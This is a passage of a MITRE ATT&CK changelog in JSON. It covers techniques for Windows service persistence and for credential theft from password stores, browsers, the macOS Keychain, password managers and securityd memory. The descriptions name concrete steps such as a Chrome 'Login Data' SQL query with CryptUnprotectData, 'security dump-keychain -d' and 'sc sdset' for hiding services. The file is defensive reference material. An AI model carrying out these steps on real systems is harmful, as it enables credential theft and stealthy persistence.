"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Creation)",
"DS0019: Service (Service Modification)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0253: Detection of Systemd Service Creation or Modification on Linux"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-17 19:13:50.402000+00:00",
"modified": "2025-10-24 17:48:33.408000+00:00",
"name": "Windows Service",
"description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create \u2018hidden\u2019 services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543/003",
"external_id": "T1543.003"
},
{
"source_name": "Microsoft Windows Event Forwarding FEB 2018",
"description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
"url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"
},
{
"source_name": "ESET InvisiMole June 2020",
"description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
},
{
"source_name": "SANS 1",
"description": "Joshua Wright. (2020, October 13). Retrieved March 22, 2024.",
"url": "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/"
},
{
"source_name": "SANS 2",
"description": "Joshua Wright. (2020, October 14). Retrieved March 22, 2024.",
"url": "https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/"
},
{
"source_name": "TechNet Services",
"description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
"url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
},
{
"source_name": "Microsoft 4697 APR 2017",
"description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
"url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"
},
{
"source_name": "Symantec W.32 Stuxnet Dossier",
"description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.",
"url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf"
},
{
"source_name": "Unit42 AcidBox June 2020",
"description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
"url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
},
{
"source_name": "Crowdstrike DriveSlayer February 2022",
"description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.",
"url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matthew Demaske, Adaptforward",
"Pedro Harrison",
"Mayuresh Dani, Qualys",
"Wietze Beukema, @wietze",
"Akshat Pradhan, Qualys",
"Wirapong Petshagun"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"Service: Service Creation\", \"Command: Command Execution\", \"File: File Metadata\", \"Windows Registry: Windows Registry Key Creation\", \"Driver: Driver Load\", \"Service: Service Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.408000+00:00\", \"old_value\": \"2025-04-15 19:58:16.076000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \\n\\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \\n\\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\\n\\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \\n-\\n-Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \\n-\\n-Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\\n-\\n-Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1028: Operating System Configuration",
"M1040: Behavior Prevention on Endpoint",
"M1045: Code Signing",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Creation)",
"DS0019: Service (Service Modification)",
"DS0022: File (File Metadata)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0027: Driver (Driver Load)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0552: Detection of Windows Service Creation or Modification"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:48:28.456000+00:00",
"modified": "2025-10-24 17:48:41.974000+00:00",
"name": "Credentials from Password Stores",
"description": "Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555",
"external_id": "T1555"
},
{
"source_name": "F-Secure The Dukes",
"description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
"url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\", \"Process: Process Access\", \"Cloud Service: Cloud Service Enumeration\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.974000+00:00\", \"old_value\": \"2025-04-15 22:12:11.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0025: Cloud Service (Cloud Service Enumeration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0430: Detect Credentials Access from Password Stores"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-12 18:57:36.041000+00:00",
"modified": "2025-10-24 17:48:49.577000+00:00",
"name": "Credentials from Web Browsers",
"description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/003",
"external_id": "T1555.003"
},
{
"source_name": "GitHub Mimikittenz July 2016",
"description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.",
"url": "https://github.com/putterpanda/mimikittenz"
},
{
"source_name": "Talos Olympic Destroyer 2018",
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"source_name": "Microsoft CryptUnprotectData April 2018",
"description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.",
"url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata"
},
{
"source_name": "Proofpoint Vega Credential Stealer May 2018",
"description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.",
"url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"
},
{
"source_name": "FireEye HawkEye Malware July 2017",
"description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.",
"url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Ryan Benson, Exabeam",
"Barry Shteiman, Exabeam",
"Sylvain Gil, Exabeam",
"RedHuntLabs, @redhuntlabs",
"Don Le, Stifel Financial"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Access\", \"File: File Access\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.577000+00:00\", \"old_value\": \"2025-04-15 22:12:28.087000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify web browser files that contain credentials such as Google Chrome\\u2019s Login Data database file: AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][4]\": \"Don Le, Stifel Financial\"}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management",
"M1021: Restrict Web-Based Content",
"M1027: Password Policies",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0037: Detect Suspicious Access to Browser Credential Stores"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-12 18:55:24.728000+00:00",
"modified": "2025-10-24 17:48:29.756000+00:00",
"name": "Keychain",
"description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/001",
"external_id": "T1555.001"
},
{
"source_name": "External to DA, the OS X Way",
"description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
"url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
},
{
"source_name": "Keychain Services Apple",
"description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.",
"url": "https://developer.apple.com/documentation/security/keychain_services"
},
{
"source_name": "Empire Keychain Decrypt",
"description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.",
"url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py"
},
{
"source_name": "OSX Keychain Schaumann",
"description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.",
"url": "https://www.netmeister.org/blog/keychain-passwords.html"
},
{
"source_name": "Keychain Decryption Passware",
"description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.",
"url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.756000+00:00\", \"old_value\": \"2025-04-15 22:44:01.937000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1027: Password Policies"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0396: Detect Access to macOS Keychain for Credential Theft"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-01-22 16:08:40.629000+00:00",
"modified": "2025-10-24 17:48:36.347000+00:00",
"name": "Password Managers",
"description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/005",
"external_id": "T1555.005"
},
{
"source_name": "Cyberreason Anchor December 2019",
"description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.",
"url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"
},
{
"source_name": "FoxIT Wocao December 2019",
"description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
"url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"
},
{
"source_name": "ise Password Manager February 2019",
"description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.",
"url": "https://www.ise.io/casestudies/password-manager-hacking/"
},
{
"source_name": "Github KeeThief",
"description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.",
"url": "https://github.com/GhostPack/KeeThief"
},
{
"source_name": "NVD CVE-2019-3610",
"description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Matt Burrough, @mattburrough, Microsoft",
"Don Le, Stifel Financial"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"Process: OS API Execution\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.347000+00:00\", \"old_value\": \"2025-04-15 22:56:22.300000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \\n\\nConsider monitoring file reads surrounding known password manager applications.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \\n-\\n-Consider monitoring file reads surrounding known password manager applications.\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Don Le, Stifel Financial\"}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management",
"M1027: Password Policies",
"M1051: Update Software",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0597: Detect Unauthorized Access to Password Managers"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-12 18:56:31.051000+00:00",
"modified": "2025-10-24 17:48:28.055000+00:00",
"name": "Securityd Memory",
"description": "An adversary with root access may gather credentials by reading `securityd`\u2019s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user\u2019s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s `securityd` utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/002",
"external_id": "T1555.002"
},
{
"source_name": "External to DA, the OS X Way",
"description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
"url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
},
{
"source_name": "Apple Dev SecurityD",
"description": "Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.",
"url": "https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html"
},
{
"source_name": "OS X Keychain",
"description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved November 17, 2024.",
